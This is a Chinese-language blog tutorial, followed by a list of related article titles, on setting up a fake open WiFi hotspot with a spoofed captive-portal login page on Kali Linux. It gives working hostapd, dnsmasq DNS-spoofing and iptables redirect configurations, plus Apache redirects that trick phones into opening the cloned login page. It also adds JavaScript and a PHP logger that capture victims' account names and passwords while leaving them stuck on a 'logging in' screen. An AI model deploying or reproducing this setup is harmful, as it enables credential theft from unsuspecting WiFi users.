linux 模拟开放网络,搭建虚假portal网页认证wifi
效果
用户打开WiFi,会扫描到和一个与目标网络同样的网络xx.portal
,同为开放型可以直接连接到该WiFi ,然后设备会提示该网络需要登录,并自动跳转到登录页面
如果用户忽略或退出自动跳转,当其打开任意一个网页(http,https),都会自动转到登录网页.
当用户输入上网账号密码时,会一直提示正在登录,让用户卡在正在登陆界面,但其上网账号与密码已经被我们截获.
(不考虑让输入账号密码的用户能真正获取冲浪资格)
环境
kali+apache2(显示登录页面)+dnsmasq(dns配置,dhcp配置)+hostapd(虚假wifi搭建)+iptables(防火墙配置)
kali uname -a
Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64 GNU/Linux
前言
请勿用于非法用途,由此产生的责任与笔者无关.希望读者能追求技术,但坚守本心
开始
hostapd
首先airmon-ng check kill
来关闭有障碍的服务,或者可以直接kill掉wpa_supplicant的进程来释放掉wlan0占用
由于要完全模拟普通目标网络的样子,首先更改软路由ip地址
ipconfig wlan0 172.16.253.3
配置hostapd.conf
模拟open wifi
interface=wlan0
#ssid=LAPTOP-UTF-swe13k
ssid=xx.portalhw_mode=g
drive=nl80211
ieee80211n=1
channel=6
auth_algs=1
笔者也是刚刚了解hostapd,部分配置原理不是很清楚,很多是照着网络上写的,有懂的读者可以指正
注意测试阶段假ap的ssid可以与目标网络不一样,在真正开始钓鱼的时候再改为目标网络的名称
dnsmasq
当一个用户访问网络时,如果目标域名的IP地址不在自身dns缓存表中时,会首先向ap发出一个dns查询请求(本来是使用isc-dhcp-server来进行dhcp配置的,但后期发现还需要搭建dns服务器,就直接使用dnsmasq了)
dnsmasq.conf的主要配置如下(dns期骗,dhcp配置)
address=/*/172.16.253.3 #对于所有的dns请求,都返回本机的ip地址
这里被称为dns污染,客户端会将查询到的对应ip地址在自己的dns缓存表中记录一段时间,导致一时间不能够访问真正的网站,好孩子千万不要这样做
dhcp-range=172.16.253.5,172.16.253.255,255.255.255.0,2h #dhcp
iptables
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 172.16.253.3:80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 172.16.253.3:443
将目标端口为80的流量转接到本地的80端口
将目标端口为443的流量转接到本地的443端口
目的是,当用户本地有dns缓存,比如直接访问baidu时,不会显示网络无法连接,会跳转到本机的网络登录页面
apache2
常规http
因为我们要复制目标网络的登录页面(html+js静态),本来打算直接使用setoolkit
网站克隆,结果无论如何都无法正常克隆(静态页面,动态呈现)
就直接右键保存页面,并直接添加到apache2的根页面.
使用浏览器控制台调试,输入任意账号密码点击登录
经过审计,回溯发现其在向后端发送登录请求前会经过ee()
函数
修改ee函数,使其进入后,直接向我们的后端pump.php发出请求,记录账号密码,主要代码如下
var req=new XMLHttpRequest();
//form.DDDDD为用户账号,form.upass为用户密码
//alert("pump.php?name="+String(form.DDDDD.value)+"&pass="+String(form.upass.value));
req.open("GET","pump.php?name="+String(form.DDDDD.value)+"&pass="+String(form.upass.value),true);
req.send();
后端文件pump.php代码很简单,只是简单记录
<?php
#var_dump($_GET());
if (isset($_GET['nam']) and isset($_GET['pass'])){$f=fopen('u_p.txt','a');$up=$_GET['name'] . ' ' . $_GET['pass'] . '\n';#echo $up;fwrite($f,$up);fclose($f);
}
?>
把正在登录的界面修改timeout为9999(原先为3)
box.show({content: lang(‘正在登录…’),timeout: 9999});
内网https
由于在dnsmasq一步,我们将所有的dns查询转到本机,当用户访问https(443端口)时,仍会显示无法连接
所以给apache2配置内网https ssl认证
参考 wish_blue_sky大神文章
但是我不需要手动添加证书(可能时kali的原因),直接命令就可
a2enmod ssl
a2ensite default-ssl
输入命令后重启apache2直接就可以访问https,但无可避免的遇到证书不可信的提示(目标网络也会这样)
目标网络的不安全证书(阿鲁巴为网络提供商)
我们的不安全网络证书(kali友情提供)
大部分人即便点击查看证书看了一眼,也可能不知道kali是什么,于是就不打算再重新写证书过分伪装了
处理手机的网络验证
冲浪得知,当手机连接的wifi时会先向自己的网站发送一个http1.0数据包,如果正常到达,就说明wifi无portal认证,如果有302跳转,则说明需要认证,自动跳转到认证网页.
比如http://me.com/test/success
一般情况下手机先访问预先测试网页,而我们的apache2网站是没有这样的文件的,会得到一个404返回值,此时我们修改404为302跳转到我们的认证页面,就可以欺骗手机来自动跳转到我们的登录页面
- 修改
/etcapache2/apache2.conf
将AllowOverride 的None 修改为All
使其允许重新定义状态码
<Directory /usr/www/>Options Indexes Follow SynLinksAllowOverride AllRequire all granted
</Directory>
- 在网站根目录下写
.htaccess
文件 将404状态交给404.php来处理
ErrorDocument 404 /404.php
404.php内容如下,简单302重定向
<?php header("Location: index.html"); ?>
结语
大家在连接WiFi的时候一定要考虑其安全性,
有些专业钓鱼网络能提供流量给用户,但会记录用户的所有网络请求,获取其隐私数据.
如有建议或优化思路,欢迎评论指正或私信
如果本篇文章对你有帮助,请不要吝啬你的点赞
linux 模拟开放网络,搭建虚假portal网页认证wifi相关推荐
- Linux系统无线网络抓包程序(分析手机WIFI MAC地址)
前面讲述了使用tcpdump和wireshark抓WIFI包,但这只是使用工具的层面,再深一层则是自己写代码实现这个功能.本文在前面文章<Linux系统有线网络抓包程序>的基础上添加实现无 ...
- protal服务器获取不到设备信息,Poral网页认证提示portal服务器获取不到设备信息或者设备没有回应req_info报文的解决办法...
portal网页认证时提示获取不到设备信息或者没有回应req_info报文 文档名称 文档密级 问题描述: Portal网页认证场景,用户在浏览器输入账号名.密码点击登录时,系统提示portal se ...
- 百度超级链开放网络治理监督藏品火爆售罄!
11月25日,8万多个百度超级链开放网络治理监督藏品提前售罄.这是百度超级链首次开放通道邀请生态伙伴成为监督节点,吸引大量关注. 此次发行的藏品基于百度超级链开放网络设计,开放网络(XuperOS)是 ...
- WiFi-ESP8266入门http(3-4)网页一键配网(1若为普通wifi直连 2若为西电网页认证自动网页post请求连接)+网页按钮灯控+MQTT通信...
网页一键配网(1若为普通wifi直连 2若为西电网页认证自动网页post请求连接)+网页按钮灯控+MQTT通信 工程连接:https://github.com/Dongvdong/ESP8266_H ...
- linux下使用TC模拟弱网络环境
linux下使用TC模拟弱网络环境 模拟延迟传输简介 netem 与 tc: netem 是 Linux 2.6 及以上内核版本提供的一个网络模拟功能模块.该功能模块可以用来在性能良好的局域网中,模拟 ...
- Linux 网络tc,linux下使用tc和netem模拟复杂网络环境
netem(Network Emulator)可以用来对网卡发出的数据包进行增加延迟.丢包.重复.乱序等处理,来模拟复杂网络环境.netem的设置依赖tc命令,tc是Linux内核提供的流量控制工具. ...
- linux使用flask设计网站,linux下Flask框架搭建简单网页
开始安装FLASK需要创建一个虚拟环境,虚拟环境可以不干扰正在使用的系统环境,避免影响,并且也不需要完全的root权限,更加安全可靠. 搭建环境 Python3.4 进入到microblog目录下创建 ...
- 2021年安徽省职业院校技能大赛网络搭建与应用竞赛
2021年安徽省职业院校技能大赛 网络搭建与应用竞赛 技能要求 (总分1000分) 网络搭建与应用赛项执委会及专家组 2021年4月 竞赛说明 一.竞赛内容分布 "网络搭建与应用" ...
- 2021年安徽省职业院校技能大赛 网络搭建与应用竞赛
2021年安徽省职业院校技能大赛 网络搭建与应用竞赛 技能要求 (总分1000分) 网络搭建与应用赛项执委会及专家组 2021年4月 竞赛说明 一.竞赛内容分布 "网络搭建与应用" ...
最新文章
- hadoop错误: 找不到或无法加载主类 org.apache.hadoop.mapreduce.v2.app.MRAppMaster
- iptables 流量速率控制
- 【python】yaml文件操作
- Cmake构建_设置debug与release不同名字
- 【Python-numpy】输出array时array中间是省略号而没有输出全部内容
- ArcGIS网络分析之中国邮递员问题
- Windows 命令 WMIC 使用详解
- 知其然,不知其所以然
- 百度、谷歌搜索引擎原理
- 零基础想要做好人物角色模型,先了解人体的构造!快来康康
- 【推荐】两大APP与云账户红包SDK集成详情及Demon分享
- 统一社会信用代码=营业执照注册号 + 营业执照注册号+营业执照注册号
- 发散性思维对养蜂技术的提高作用
- <医学断层图像三维重建面绘制算法的研究>——第一遍阅读
- R语言ggplot2可视化:使用patchwork包将两个ggplot2可视化结果横向构成新的结果可视化组合图(使用|符号)
- jdbc+servlet+jsp来写个mysql分页案例
- zigbee通讯技术复习笔记
- LeetCode | 0077. Combinations组合【Python】
- 锚点定位 跳转到指定位置 回到顶部功能
- 超级不可能的路Super Impossible Road Mac(竞速游戏)原生版